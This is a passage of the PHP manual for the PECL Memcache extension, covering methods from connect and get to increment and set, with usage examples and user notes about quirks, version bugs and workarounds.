/*
do something here ..
*/
memcache_close($memcache_obj);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/*
do something here ..
*/
$memcache_obj->close();

?>

See Also

  • Memcache::connect() - Open memcached server connection
  • Memcache::pconnect() - Open memcached server persistent connection

User Contributed Notes

There are no user contributed notes for this page.
Memcache::addServer
Memcache::connect
Memcache


Open memcached server connection

Memcache::close
Memcache::decrement
Memcache
PHP Manual

Memcache::connect

(PECL memcache >= 0.2.0)

Memcache::connect — Open memcached server connection

Description

bool Memcache::connect ( string $host [, int $port [, int $timeout ]] )

Memcache::connect() establishes a connection to the memcached server. The connection, which was opened using Memcache::connect() will be automatically closed at the end of script execution. Also you can close it with Memcache::close(). Also you can use memcache_connect() function.

Parameters

host

Point to the host where memcached is listening for connections. This parameter may also specify other transports like unix:///path/to/memcached.sock to use UNIX domain sockets, in this case port must also be set to 0.

port

Point to the port where memcached is listening for connections. Set this parameter to 0 when using UNIX domain sockets.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::connect() example

<?php

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);

/* OO API */

$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);

?>

See Also

  • Memcache::pconnect() - Open memcached server persistent connection
  • Memcache::close() - Close memcached server connection

User Contributed Notes

tom at all dash community dot de 06-Dec-2011 07:52
There is a not-so-obvious way to check whether or not a MemCache-Server is available.

Using ($memCache->connect() == false) will wait for a timeout if it can't connect. If you got a high-traffic site this may not be an option. So when the server is down, you may want to avoid waiting for this timeout on every request and instead try to reconnect only once every X seconds.

If so, this code may help:

<?php
$memCache = new \Memcache();
$memCache->addServer($host, $port);
$stats = @$memCache->getExtendedStats();
$available = (bool) $stats["$host:$port"];
if ($available && @$memCache->connect($host, $port))
    // MemCache is there
else
    // go on without MemCache
?>

The result of getExtendedStats() is an array. The information is cached and maintained by MemCache itself. If the server is not available, the result will be FALSE.

Even if the result is not false, the server may still not be available. Thus you need to check for connect() != false too, but only if the first check returns TRUE, thus avoiding the 1 second timeout in most cases.
Both getExtendedStats() and connect() issue notices/warnings if the server is not there. Thus you have to mute both calls.

Do NOT use getServerStatus() for this purpose: the result is cached on server-start and will not recognize when the connection to the server is lost (or reestablished) in between.
djbrd 11-May-2011 11:48
To suppress (or handle) the warning and notice thrown by a failed attempt to connect, you can use a custom error handler function, like this:

<?php
function myErrorHandler($errno, $errstr, $errfile, $errline)
{

    if (E_WARNING === $errno)
    {
        Log("PHP Warning: $errstr, $errfile, $errline", Logging::WARN);
        return true;
    }

    if (E_NOTICE === $errno)
    {
        Log("PHP Notic: $errstr, $errfile, $errline", Logging::NOTICE);
        return true;
    }

    return false;
}

set_error_handler('myErrorHandler');
?>
geoffrey dot hoffman at gmail dot com 18-Aug-2010 12:32
If memcached is working, calling memcache_connect( ) returns an Object instance, not a boolean. If memcached is not working, calling memcache_connect( ) throws a notice AND a warning (and returns false as expected).

<?php
/* memcache is running */
$test1 = memcache_connect('127.0.0.1',11211);
echo gettype($test1);
// object
echo get_class($test1);
// Memcache

/* memcached is stopped */
$test2 = memcache_connect('127.0.0.1',11211);

/*
Notice: memcache_connect(): Server 127.0.0.1 (tcp 11211) failed with: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1

Warning: memcache_connect(): Can't connect to 127.0.0.1:11211, A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1
*/

echo gettype($test2);
// boolean
echo $test2===false;
// 1
?>

There appears to be no way to check whether memcached is actually running without resorting to error suppression:

<?php
$test3 = @memcache_connect('127.0.0.1',11211);
if( $test3===false ){
   // memcached is _probably_ not running
}
?>
chrisn at allipo dot com 05-Sep-2006 01:39
The behavior of Memcache::connect() is to always reinitialize the pool from scratch regardless of any previous calls to addServer().

E.g.

<?php
$mmc = new Memcache()
$mmc->addServer('node1', 11211);
$mmc->addServer('node2', 11211);
$mmc->addServer('node3', 11211);

$mmc->connect('node1', 11211);
?>

The last connect() call clears out the pool and then add and connect node1:11211 making it the only server.

If you want a pool of memcache servers, do not use the connect() function.

If you only want a single memcache server then there is no need to use the addServer() function.
Memcache::close
Memcache::decrement
Memcache


Decrement item's value

Memcache::connect
Memcache::delete
Memcache
PHP Manual

Memcache::decrement

(PECL memcache >= 0.2.0)

Memcache::decrement — Decrement item's value

Description

int Memcache::decrement ( string $key [, int $value = 1 ] )

Memcache::decrement() decrements value of the item by value. Similarly to Memcache::increment(), current value of the item is being converted to numerical and after that value is substracted.

Note:

New item's value will not be less than zero.

Note:

Do not use Memcache::decrement() with item, which was stored compressed, because consequent call to Memcache::get() will fail.

Memcache::decrement() does not create an item if it didn't exist. Also you can use memcache_decrement() function.

Parameters

key

Key of the item do decrement.

value

Decrement the item by value.

Return Values

Returns item's new value on success or FALSE on failure.

Examples

Example #1 Memcache::decrement() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* decrement item by 2 */
$new_value = memcache_decrement($memcache_obj, 'test_item', 2);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* decrement item by 3 */
$new_value = $memcache_obj->decrement('test_item', 3);
?>

See Also

  • Memcache::increment() - Increment item's value
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

There are no user contributed notes for this page.
Memcache::connect
Memcache::delete
Memcache


Delete item from the server

Memcache::decrement
Memcache::flush
Memcache
PHP Manual

Memcache::delete

(PECL memcache >= 0.2.0)

Memcache::delete — Delete item from the server

Description

bool Memcache::delete ( string $key [, int $timeout = 0 ] )

Memcache::delete() deletes an item with the key.

Parameters

key

The key associated with the item to delete.

timeout

This deprecated parameter is not supported, and defaults to 0 seconds. Do not use this parameter.

Changelog

Version | Description
Unknown | It's not recommended to use the timeout parameter. The behavior differs between memcached versions, but setting to 0 is safe. Other values for this deprecated feature may cause the memcache delete to fail.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::delete() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

/* item will be deleted by the server */
memcache_delete($memcache_obj, 'key_to_delete');

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->delete('key_to_delete');

?>

See Also

  • Memcache::set() - Store data at the server
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

vbaspcppguy at gmail dot com 08-Sep-2010 12:47
According to the documents, $timeout is not required, but for me if I did not include it regardless of value, it fired an error. I made a simple fix for it.

<?php
class memcache_tools extends memcache
{
    public function delete($key, $expire=0)
    {
        parent::delete($key, $expire);
    }
}
?>

This will force it to behave as it should regardless of version.
Anonymous 28-Jul-2010 03:30
Regardless of whether or not it succeeds, for me on Ubuntu 10.04 it always returns false.  Just an FYI, you can't seem to rely on the result.
nibblebot at gmail dot com 09-Jul-2010 08:58
the Memcache::delete(key) function is broken on several combinations of memcached+pecl-memcache combinations.

pecl-memcache 2.2.5 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 2.2.5 + memcached 1.4.4 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.5 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.4 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.5 - Memcache::delete(key) DOES NOT WORK
z at zaebal dot com 28-Dec-2009 08:21
To workaround the "delete" issue just pass zero as timeout parameter.
Wilfried Loche 25-Aug-2009 02:01
Hi,

Be careful about multi memcached servers. It seems logical the get() methods use only one server but, what about the delete() and update() methods?

In fact, at least the delete() method perform a delete on the first server it finds!

For the test code, you can see it there:
http://pecl.php.net/bugs/bug.php?id=16810

Hope this helps someone!
Wilfried
Jocke Berg 05-May-2009 03:02
I was searching for a function/method in this class that would "reset" (or "update", depending on how you look at it) the timeout value for a  key. I was searching my  butt off when I finally figured; this is the one.

Example: You have accessed a web-page including something that should be "in-cache" for way more than 30 days (until the memcache server gets a downtime for some reason). Since the limit for having something in the cache is 30 days, this will be a problem. Simple (yet somewhat non-optimal) solution:

<?php
//How to "update" the value
if($memcache_key_exists){
        $memcache_obj->delete('key', (3600*24*30));
}
?>

Have fun.
Memcache::decrement
Memcache::flush
Memcache


Flush all existing items at the server

Memcache::delete
Memcache::get
Memcache
PHP Manual

Memcache::flush

(PECL memcache >= 1.0.0)

Memcache::flush — Flush all existing items at the server

Description

bool Memcache::flush ( void )

Memcache::flush() immediately invalidates all existing items. Memcache::flush() doesn't actually free any resources, it only marks all the items as expired, so occupied memory will be overwritten by new items. Also you can use memcache_flush() function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::flush() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

memcache_flush($memcache_obj);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->flush();

?>

User Contributed Notes

Anonymous 27-Feb-2008 07:51
From the memcached mailing list:

"The flush has a one second granularity. The flush will expire all items up to the ones set within the same second."

It is imperative to wait at least one second after flush() command before further actions like repopulating the cache. Ohterwise new items < 1 second after flush() would be invalidatet instantaneous.

Example:
<?php
$memcache->flush();

$time = time()+1; //one second future
while(time() < $time) {
  //sleep
}
$memcache->set('key', 'value'); // repopulate the cache
?>
maarten d/ot manders a/t tilllate dotcom 12-Jul-2007 01:20
Please note that after flushing, you have to wait a certain amount of time (in my case < 1s) to be able to write to Memcached again. If you don't, Memcached::set() will return 1, although your data is in fact not saved.
Memcache::delete
Memcache::get
Memcache


Retrieve item from the server

Memcache::flush
Memcache::getExtendedStats
Memcache
PHP Manual

Memcache::get

(PECL memcache >= 0.2.0)

Memcache::get — Retrieve item from the server

Description

string Memcache::get ( string $key [, int &$flags ] )
array Memcache::get ( array $keys [, array &$flags ] )

Memcache::get() returns previously stored data if an item with such key exists on the server at this moment.

You can pass array of keys to Memcache::get() to get array of values. The result array will contain only found key-value pairs.

Parameters

key

The key or array of keys to fetch.

flags

If present, flags fetched along with the values will be written to this parameter. These flags are the same as the ones given to for example Memcache::set(). The lowest byte of the int is reserved for pecl/memcache internal usage (e.g. to indicate compression and serialization status).

Return Values

Returns the string associated with the key or FALSE on failure or if such key was not found.

Examples

Example #1 Memcache::get() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, 'some_key');

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get('some_key');

/*
You also can use array of keys as a parameter.
If such item wasn't found at the server, the result
array simply will not include such key.
*/

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, Array('some_key', 'another_key'));

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get(Array('some_key', 'second_key'));

?>

User Contributed Notes

Michael Brenden 17-Feb-2011 02:46
Beware, if there's a backslash present in the key name then the results are unpredictable and random.

I was generating keys like this:

$mc_key = get_called_class(). $_COOKIE['crumb'];

This works fine when get_called_class() returns CLASSNAME.

But then I began using namespaces, and get_class_class() of course returned NAMESPACE\CLASSNAME

Well that backslash sends Memcache into quite the tizzy.
No errors, mind you, just insanity.
janis at unrepublic dot com 22-Mar-2010 02:00
For me it was the case that if such key doesn't exist, null is returned not false.
nate 14-Oct-2008 08:18
Be aware that when using the multi-key version, Memcache::get returns bool false if no servers are configured for the pool (and possibly if other errors occur as well while attempting to fetch). Also, Memcache class throws annoying warnings on every get/set/delete-type calls if you have no servers added to the pool.

The following snippet var_dump's bool false, not an empty array like you might expect.

<?php
$cache = new Memcache;

// no $cache->addServer calls (for example,
due to temporarily disabling use of cache)

// use @ symbol to ignore warning

var_dump(
    @$cache->get(array('one', 'two'))
);
?>
marko at nastja dot com 30-Jul-2008 05:07
It looks like memcache take only first 256 characters. So if you want to cache some (large) queries do md5 or similar before caching.
jakub dot lopuszanski at nasza-klasa dot pl 07-Jul-2008 07:39
If deserialization fails for some reason, that is when memcache server returned flag 1 set, but the value was not a correctly serialized PHP data,
then Memcache::get acts in a following way:

If it was called with a single key to retrieve, then a warning is raised, but since it was not actually a bug of a server, the warning says something confusing like "Memcached Server Error: null" and the function returns bool(false).

If it was called by passing an array (even with a single element in it), then the warning is not raised and the resulting array contains a value bool(false).

Since there are some buffer overrun bugs present in Memcached Server, which from time to time cause overwriting of [part of] data and therefore rendering it impossible to deserialize, make sure to check if the result of Memcache::get contains only string, or deserialized structure. If the result is bool,dobule or long, then something went wrong.
Memcache::flush
Memcache::getExtendedStats
Memcache


Get statistics from all servers in pool

Memcache::get
Memcache::getServerStatus
Memcache
PHP Manual

Memcache::getExtendedStats

(PECL memcache >= 2.0.0)

Memcache::getExtendedStats — Get statistics from all servers in pool

Description

array Memcache::getExtendedStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )

Memcache::getExtendedStats() returns a two-dimensional associative array with server statistics. Array keys correspond to host:port of server and values contain the individual server statistics. A failed server will have its corresponding entry set to FALSE. You can also use the memcache_get_extended_stats() function.

Note:

This function has been added to Memcache version 2.0.0.

Parameters

type

The type of statistics to fetch. Valid values are {reset, malloc, maps, cachedump, slabs, items, sizes}. According to the memcached protocol spec these additional arguments "are subject to change for the convenience of memcache developers".

slabid

Used in conjunction with type set to cachedump to identify the slab to dump from. The cachedump command ties up the server and is strictly to be used for debugging purposes.

limit

Used in conjunction with type set to cachedump to limit the number of entries to dump.

Warning

The cachedump stat type has been removed from the memcached daemon due to security reasons.

Return Values

Returns a two-dimensional associative array of server statistics or FALSE on failure.

Examples

Example #1 Memcache::getExtendedStats() example

<?php
    $memcache_obj = new Memcache;
    $memcache_obj->addServer('memcache_host', 11211);
    $memcache_obj->addServer('failed_host', 11211);

    $stats = $memcache_obj->getExtendedStats();
    print_r($stats);
?>

The above example will output:

Array
(
    [memcache_host:11211] => Array
        (
            [pid] => 3756
            [uptime] => 603011
            [time] => 1133810435
            [version] => 1.1.12
            [rusage_user] => 0.451931
            [rusage_system] => 0.634903
            [curr_items] => 2483
            [total_items] => 3079
            [bytes] => 2718136
            [curr_connections] => 2
            [total_connections] => 807
            [connection_structures] => 13
            [cmd_get] => 9748
            [cmd_set] => 3096
            [get_hits] => 5976
            [get_misses] => 3772
            [bytes_read] => 3448968
            [bytes_written] => 2318883
            [limit_maxbytes] => 33554432
        )

    [failed_host:11211] => false
)

See Also

  • Memcache::getVersion() - Return version of the server
  • Memcache::getStats() - Get statistics of the server

User Contributed Notes

oushunbao at 163 dot com 16-Jun-2011 02:57
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 * @modified: 16-Jun-2011
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

copy from up, but fix a warning
i only add one line:  if (!is_array($arrVal)) continue;
manmca dot 2280 at gmail dot com 28-May-2010 04:35
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

Hope it helps....
Memcache::get
Memcache::getServerStatus
Memcache


Returns server status

Memcache::getExtendedStats
Memcache::getStats
Memcache
PHP Manual

Memcache::getServerStatus

(PECL memcache >= 2.1.0)

Memcache::getServerStatus — Returns server status

Description

int Memcache::getServerStatus ( string $host [, int $port = 11211 ] )

Memcache::getServerStatus() returns a the servers online/offline status. You can also use memcache_get_server_status() function.

Note:

This function has been added to Memcache version 2.1.0.

Parameters

host

Point to the host where memcached is listening for connections.

port

Point to the port where memcached is listening for connections.

Return Values

Returns a the servers status. 0 if server is failed, non-zero otherwise

Examples

Example #1 Memcache::getServerStatus() example

<?php

/* OO API */
$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
echo $memcache->getServerStatus('memcache_host', 11211);

/* procedural API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_server_status($memcache, 'memcache_host', 11211);

?>

See Also

  • Memcache::addServer() - Add a memcached server to connection pool
  • Memcache::setServerParams() - Changes server parameters and status at runtime

User Contributed Notes

tom at all dash community dot de 06-Dec-2011 08:01
Note: the result of the function is cached. The cached is not automatically refreshed.

Call MemCache::getExtendedStats() to force a cache-update.
geoffrey dot hoffman at gmail dot com 21-Jul-2010 12:10
Beware... this method does not actually attempt to connect to the server and port you specify! It is not a health check to tell whether memcached is actually running or not!

It merely returns the server status from the pool, which defaults to TRUE when using addServer( ) with only required arguments.

Try it - stop your memcached and run the sample code above - it will output 1.
Memcache::getExtendedStats
Memcache::getStats
Memcache


Get statistics of the server

Memcache::getServerStatus
Memcache::getVersion
Memcache
PHP Manual

Memcache::getStats

(PECL memcache >= 0.2.0)

Memcache::getStats — Get statistics of the server

Description

array Memcache::getStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )

Memcache::getStats() returns an associative array with server's statistics. Array keys correspond to stats parameters and values to parameter's values. Also you can use memcache_get_stats() function.

Parameters

type

The type of statistics to fetch. Valid values are {reset, malloc, maps, cachedump, slabs, items, sizes}. According to the memcached protocol spec these additional arguments "are subject to change for the convenience of memcache developers".

slabid

Used in conjunction with type set to cachedump to identify the slab to dump from. The cachedump command ties up the server and is strictly to be used for debugging purposes.

limit

Used in conjunction with type set to cachedump to limit the number of entries to dump.

Return Values

Returns an associative array of server statistics or FALSE on failure.

See Also

  • Memcache::getVersion() - Return version of the server
  • Memcache::getExtendedStats() - Get statistics from all servers in pool

User Contributed Notes

Amiangshu S. Bosu 16-Mar-2009 03:58
Here is a memcache stats analyzer method that can be used to print memcache stats in a nice informative tabular format.

<?php

function printDetails($status){

echo "<table border='1'>";

        echo "<tr><td>Memcache Server version:</td><td> ".$status ["version"]."</td></tr>";
        echo "<tr><td>Process id of this server process </td><td>".$status ["pid"]."</td></tr>";
        echo "<tr><td>Number of seconds this server has been running </td><td>".$status ["uptime"]."</td></tr>";
        echo "<tr><td>Accumulated user time for this process </td><td>".$status ["rusage_user"]." seconds</td></tr>";
        echo "<tr><td>Accumulated system time for this process </td><td>".$status ["rusage_system"]." seconds</td></tr>";
        echo "<tr><td>Total number of items stored by this server ever since it started </td><td>".$status ["total_items"]."</td></tr>";
        echo "<tr><td>Number of open connections </td><td>".$status ["curr_connections"]."</td></tr>";
        echo "<tr><td>Total number of connections opened since the server started running </td><td>".$status ["total_connections"]."</td></tr>";
        echo "<tr><td>Number of connection structures allocated by the server </td><td>".$status ["connection_structures"]."</td></tr>";
        echo "<tr><td>Cumulative number of retrieval requests </td><td>".$status ["cmd_get"]."</td></tr>";
        echo "<tr><td> Cumulative number of storage requests </td><td>".$status ["cmd_set"]."</td></tr>";

        $percCacheHit=((real)$status ["get_hits"]/ (real)$status ["cmd_get"] *100);
        $percCacheHit=round($percCacheHit,3);
        $percCacheMiss=100-$percCacheHit;

        echo "<tr><td>Number of keys that have been requested and found present </td><td>".$status ["get_hits"]." ($percCacheHit%)</td></tr>";
        echo "<tr><td>Number of items that have been requested and not found </td><td>".$status ["get_misses"]."($percCacheMiss%)</td></tr>";

        $MBRead= (real)$status["bytes_read"]/(1024*1024);

        echo "<tr><td>Total number of bytes read by this server from network </td><td>".$MBRead." Mega Bytes</td></tr>";
        $MBWrite=(real) $status["bytes_written"]/(1024*1024) ;
        echo "<tr><td>Total number of bytes sent by this server to network </td><td>".$MBWrite." Mega Bytes</td></tr>";
        $MBSize=(real) $status["limit_maxbytes"]/(1024*1024) ;
        echo "<tr><td>Number of bytes this server is allowed to use for storage.</td><td>".$MBSize." Mega Bytes</td></tr>";
        echo "<tr><td>Number of valid items removed from cache to free memory for new items.</td><td>".$status ["evictions"]."</td></tr>";

echo "</table>";

    }

?>

Sample usage:
<?php

  $memcache_obj = new Memcache;
  $memcache_obj->addServer('memcache_host', 11211);
   printDetails($memcache_obj->getStats());
?>
24-Oct-2006 07:09
The stats output from this function and what is output from the getExtendedStats() are identical except that getExtendedStats() provides information for all servers used.
mikael at synd dot info 18-Sep-2006 12:22
pid                        Process id of this server process
uptime                    Number of seconds this server has been running
time                    Current UNIX time according to the server
version                    Version string of this server
rusage_user                Accumulated user time for this process
rusage_system            Accumulated system time for this process
curr_items                Current number of items stored by the server
total_items                Total number of items stored by this server ever since it started
bytes                    Current number of bytes used by this server to store items
curr_connections        Number of open connections
total_connections        Total number of connections opened since the server started running
connection_structures    Number of connection structures allocated by the server
cmd_get                    Cumulative number of retrieval requests
cmd_set                    Cumulative number of storage requests
get_hits                Number of keys that have been requested and found present
get_misses                Number of items that have been requested and not found
bytes_read                Total number of bytes read by this server from network
bytes_written            Total number of bytes sent by this server to network
limit_maxbytes            Number of bytes this server is allowed to use for storage.
Memcache::getServerStatus
Memcache::getVersion
Memcache


Return version of the server

Memcache::getStats
Memcache::increment
Memcache
PHP Manual

Memcache::getVersion

(PECL memcache >= 0.2.0)

Memcache::getVersion — Return version of the server

Description

string Memcache::getVersion ( void )

Memcache::getVersion() returns a string with server's version number. Also you can use memcache_get_version() function.

Return Values

Returns a string of server version number or FALSE on failure.

Examples

Example #1 Memcache::getVersion() example

<?php

/* OO API */
$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);
echo $memcache->getVersion();

/* procedural API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_version($memcache);

?>

See Also

  • Memcache::getExtendedStats() - Get statistics from all servers in pool
  • Memcache::getStats() - Get statistics of the server

User Contributed Notes

There are no user contributed notes for this page.
Memcache::getStats
Memcache::increment
Memcache


Increment item's value

Memcache::getVersion
Memcache::pconnect
Memcache
PHP Manual

Memcache::increment

(PECL memcache >= 0.2.0)

Memcache::increment — Increment item's value

Description

int Memcache::increment ( string $key [, int $value = 1 ] )

Memcache::increment() increments value of an item by the specified value. If item specified by key was not numeric and cannot be converted to a number, it will change its value to value. Memcache::increment() does not create an item if it doesn't already exist.

Note:

Do not use Memcache::increment() with items that have been stored compressed because subsequent calls to Memcache::get() will fail.

Also you can use memcache_increment() function.

Parameters

key

Key of the item to increment.

value

Increment the item by value.

Return Values

Returns new items value on success or FALSE on failure.

Examples

Example #1 Memcache::increment() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* increment counter by 2 */
$current_value = memcache_increment($memcache_obj, 'counter', 2);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* increment counter by 3 */
$current_value = $memcache_obj->increment('counter', 3);

?>

See Also

  • Memcache::decrement() - Decrement item's value
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

perroazul64 at gmail dot com 07-Jun-2011 10:46
When the key doesn't exist it may return either bool(false) or int(0) (I get different return values on different servers), so be careful if you check for something like ($memcache->increment($key) === false).
ian at blip dot fm 30-Jun-2009 04:28
Be careful to use Memcache::decrement() and never Memcache::increment() with a negative value.

The check that prevents Memcache::decrement() from going negative is not in place with Memcache::increment(), so you can end up with a garbage integer on the order of 18 quintillion stored in place of the expected value.
jay dot paroline at escapemg dot com 13-May-2009 06:34
Instead of checking the value before incrementing, you can simply ADD it instead before incrementing each time. If it's already there, your ADD is ignored, and if it's not there, it's set.

If you add($memcacheKey, 0) and then increment($memcacheKey, 1) in that order, you avoid all possible race conditions. If two threads are running this code concurrently, you will always end up with your value being 2 no matter which order the threads execute in.
Anonymous 13-May-2009 06:16
Please note:
If the key does not exist, memcache does NOT return false (as you might expect) but 0.
You won't get any hint that the key did not exist and still does not exist and that nothing was incremented.
15-Jun-2005 12:54
if no variable exists, even if you specify an increment value, the result will be null.

if you're using this for a mutex, chk if its null, and if so, then ADD the variable.
Memcache::getVersion
Memcache::pconnect
Memcache


Open memcached server persistent connection

Memcache::increment
Memcache::replace
Memcache
PHP Manual

Memcache::pconnect

(PECL memcache >= 0.4.0)

Memcache::pconnect — Open memcached server persistent connection

Description

mixed Memcache::pconnect ( string $host [, int $port [, int $timeout ]] )

Memcache::pconnect() is similar to Memcache::connect() with the difference, that the connection it establishes is persistent. This connection is not closed after the end of script execution and by Memcache::close() function. Also you can use memcache_pconnect() function.

Parameters

host

Point to the host where memcached is listening for connections. This parameter may also specify other transports like unix:///path/to/memcached.sock to use UNIX domain sockets, in this case port must also be set to 0.

port

Point to the port where memcached is listening for connections. Set this parameter to 0 when using UNIX domain sockets.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

Return Values

Returns a Memcache object or FALSE on failure.

Examples

Example #1 Memcache::pconnect() example

<?php

/* procedural API */
$memcache_obj = memcache_pconnect('memcache_host', 11211);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->pconnect('memcache_host', 11211);

?>

See Also

  • Memcache::connect() - Open memcached server connection

User Contributed Notes

office at cws-trummer dot biz 20-Mar-2009 02:17
use persistent connection if you have problems with system process 0 WAIT_TIME
Memcache::increment
Memcache::replace
Memcache


Replace value of the existing item

Memcache::pconnect
Memcache::set
Memcache
PHP Manual

Memcache::replace

(PECL memcache >= 0.2.0)

Memcache::replace — Replace value of the existing item

Description

bool Memcache::replace ( string $key , mixed $var [, int $flag [, int $expire ]] )

Memcache::replace() should be used to replace value of
existing item with key. In case if item with such
key doesn't exists, Memcache::replace() returns
FALSE. For the rest Memcache::replace() behaves
similarly to Memcache::set().
Also you can use memcache_replace() function.

Parameters

key

The key that will be associated with the item.

var

The variable to store. Strings and integers are stored as is, other types are stored serialized.

flag

Use MEMCACHE_COMPRESSED to store the item compressed (uses zlib).

expire

Expiration time of the item. If it's equal to zero, the item will never expire. You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::replace() example

<?php

$memcache_obj = memcache_connect('memcache_host', 11211);

/* procedural API */
memcache_replace($memcache_obj, "test_key", "some variable", false, 30);

/* OO API */
$memcache_obj->replace("test_key", "some variable", false, 30);

?>

See Also

  • Memcache::set() - Store data at the server
  • Memcache::add() - Add an item to the server

User Contributed Notes

adam.pippin [AT] ohmedia.ca 20-Sep-2010 03:57
This page mentions that replace should be used rather than set, but gives no reason. Best information I could find was a comment by 'argyleblanket' on the set page. (http://www.php.net/manual/en/memcache.set.php#84032)

"Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server. "
Memcache::pconnect
Memcache::set
Memcache


Store data at the server

Memcache::replace
Memcache::setCompressThreshold
Memcache
PHP Manual

Memcache::set

(PECL memcache >= 0.2.0)

Memcache::set — Store data at the server

Description

bool Memcache::set ( string $key , mixed $var [, int $flag [, int $expire ]] )

Memcache::set() stores an item var with key on the memcached server. Parameter expire is expiration time in seconds. If it's 0, the item never expires (but memcached server doesn't guarantee this item to be stored all the time, it could be deleted from the cache to make place for other items). You can use MEMCACHE_COMPRESSED constant as flag value if you want to use on-the-fly compression (uses zlib).

Note:

Remember that resource variables (i.e. file and connection descriptors) cannot be stored in the cache, because they cannot be adequately represented in serialized state.

Also you can use memcache_set() function.

Parameters

key

The key that will be associated with the item.

var

The variable to store. Strings and integers are stored as is, other types are stored serialized.

flag

Use MEMCACHE_COMPRESSED to store the item compressed (uses zlib).

expire

Expiration time of the item. If it's equal to zero, the item will never expire. You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::set() example

<?php
/* procedural API */

/* connect to memcached server */
$memcache_obj = memcache_connect('memcache_host', 11211);

/*
set value of item with key 'var_key'
using 0 as flag value, compression is not used
expire time is 30 seconds
*/
memcache_set($memcache_obj, 'var_key', 'some variable', 0, 30);

echo memcache_get($memcache_obj, 'var_key');

?>

Example #2 Memcache::set() example

<?php
/* OO API */

$memcache_obj = new Memcache;

/* connect to memcached server */
$memcache_obj->connect('memcache_host', 11211);

/*
set value of item with key 'var_key', using on-the-fly compression
expire time is 50 seconds
*/
$memcache_obj->set('var_key', 'some really big variable', MEMCACHE_COMPRESSED, 50);

